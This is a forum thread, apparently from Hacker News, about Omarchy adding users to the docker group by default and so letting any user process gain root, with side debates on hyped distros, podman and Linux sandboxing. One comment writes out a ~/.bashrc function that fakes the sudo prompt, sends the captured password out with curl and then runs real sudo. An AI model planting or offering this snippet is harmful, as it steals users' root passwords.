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Omarchy: Any User Process Can Escalate to Root

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Re: Omarchy: Any User Process Can Escalate to Root

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A few days ago someone found they were flowing USB descriptors straight into the shell. https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8... Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

Other than hype, what's the appeal here?

I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it. Is that rather common now? I'm just a Gnome pleb who prefers discoverability via UI.

Re: Omarchy: Any User Process Can Escalate to Root

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Default configuration or not, I also imagine the first thing people using docker do is to add themselves to the docker group via sudo. If you are security-conscious, you shouldn’t be using docker anyway.

If you are adding yourself to the docker group, you have presumably read the documentation and its warnings. Does an Omarchy user know the distro has made the decision on their behave? TFA spells out why this is wrong better than I could. > There is another important aspect of this configuration. It was opt-out, not opt-in. A user did not have to actually use Docker. The security tradeoff was made for them, applied t…

I am not disagreeing at all. Nor am I trying to claim this behavior is safe.

I’m just pointing out the level-set that I’m sure the first time someone installs docker and tries to use it, chances are they are just going to install themselves in the docker group without considering the impact and continue on their day.

Re: Omarchy: Any User Process Can Escalate to Root

#83

I think people shouldn't just jump to distros which are getting heavily hyped in media/Youtube, cachyOS had similar wave, and now Omarchy does. (example: NetworkChuck, Primeagen? and a few others) also, archlinux is much easier to install nowadays with archinstall [1], so i'm not sure you really need another opinionated layer on top of it [1] - https://wiki.archlinux.org/title/Archinstall

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> if you encounter a problem with Arch and ask about it

It's probably already documented on Arch wiki or it's a generic Linux issue that has already been solved by someone (that has been my experience with Cachy).

Re: Omarchy: Any User Process Can Escalate to Root

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I think people shouldn't just jump to distros which are getting heavily hyped in media/Youtube, cachyOS had similar wave, and now Omarchy does. (example: NetworkChuck, Primeagen? and a few others) also, archlinux is much easier to install nowadays with archinstall [1], so i'm not sure you really need another opinionated layer on top of it [1] - https://wiki.archlinux.org/title/Archinstall

Omarchy seems to be pentested by a bunch of angry haters. Who's pentesting your arch install? :P

Basic docker users are the same as angry haters I guess.

Re: Omarchy: Any User Process Can Escalate to Root

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>when it’s a very common setup to add regular user to the docker group. As an official configuration? Or in random copy paste guides? The former is very different than the latter. It's not uncommon to disable sudo passwords, but it would be considered a serious security lapse if that were the default on some OS.

You mean, just how it is on Windows?

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Re: Omarchy: Any User Process Can Escalate to Root

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Just use Fedora. It just werks (most times).

I like the very non-windows very non-mac ui of omarchy.

UI is desktop environment and (usually) ports to large-use distros cleanly.

- JaKooLit’s Fedora-Hyprland Repository: https://github.com/JaKooLit/Fedora-Hyprland. The most popular automated setup guide and installer for Fedora, bundling Hyprland alongside pre-configured bars, launchers, and

- Official Hyprland Wiki: wiki.hypr.land/Getting-Started/Installation/. The main reference guide for core configuration options, environment variables, and Wayland portal requirements.

- Solopasha Fedora COPR copr.fedorainfracloud.org/coprs/solopasha/hyprland. The primary community repository hosting cutting-edge builds of Hyprland and its ecosystem packages for

- Fedora Discussion Tutorials: discussion.fedoraproject.org. Community walkthroughs covering minimal netinstall setups and distro-specific Wayland troubleshooting.

Re: Omarchy: Any User Process Can Escalate to Root

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To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

What? Why is sudo security theater?

Because it is trivial for unprivileged malware to phish the password and escalate to root. No production system should ever ship with sudo.

Re: Omarchy: Any User Process Can Escalate to Root

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It’s not great, but I’m not sure this should be framed as Omarchy-specific, when it’s a very common setup to add regular user to the docker group.

Using Docker instead of podman is the first mistake and that is a distro decision (or a "chef" decision, in Omarchy parlance...)

Re: Omarchy: Any User Process Can Escalate to Root

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Linux isn't like macOS, it doesn't have any kind of proper desktop sandboxing architecture that really works. So this is kind of security theatre. If you run a malicious program it can do stuff like tamper with your PATH or exploit local vulns in apps to get to the point where it can control anything that matters (which root generally doesn't). For instance it can just drop a custom shell into ~/.bin/.hidden-shell an…

> Unfortunately implementing an Apple style architecture on Linux would be very difficult. On desktop Linux as we know it, yes, but Android manages it alright, mostly via SELinux+seccomp.

Android is basically a different OS that happens to reuse parts of the Linux kernel.

Re: Omarchy: Any User Process Can Escalate to Root

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A few days ago someone found they were flowing USB descriptors straight into the shell. https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8... Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

This seems to be quite contrarian considering we had this on the front page of HN the other day: "Debian votes to allow "responsible use of generative AI".

I guess this LLM coding wasn't "Responsible" enough. hahaha

Let the AI bubble pop baby

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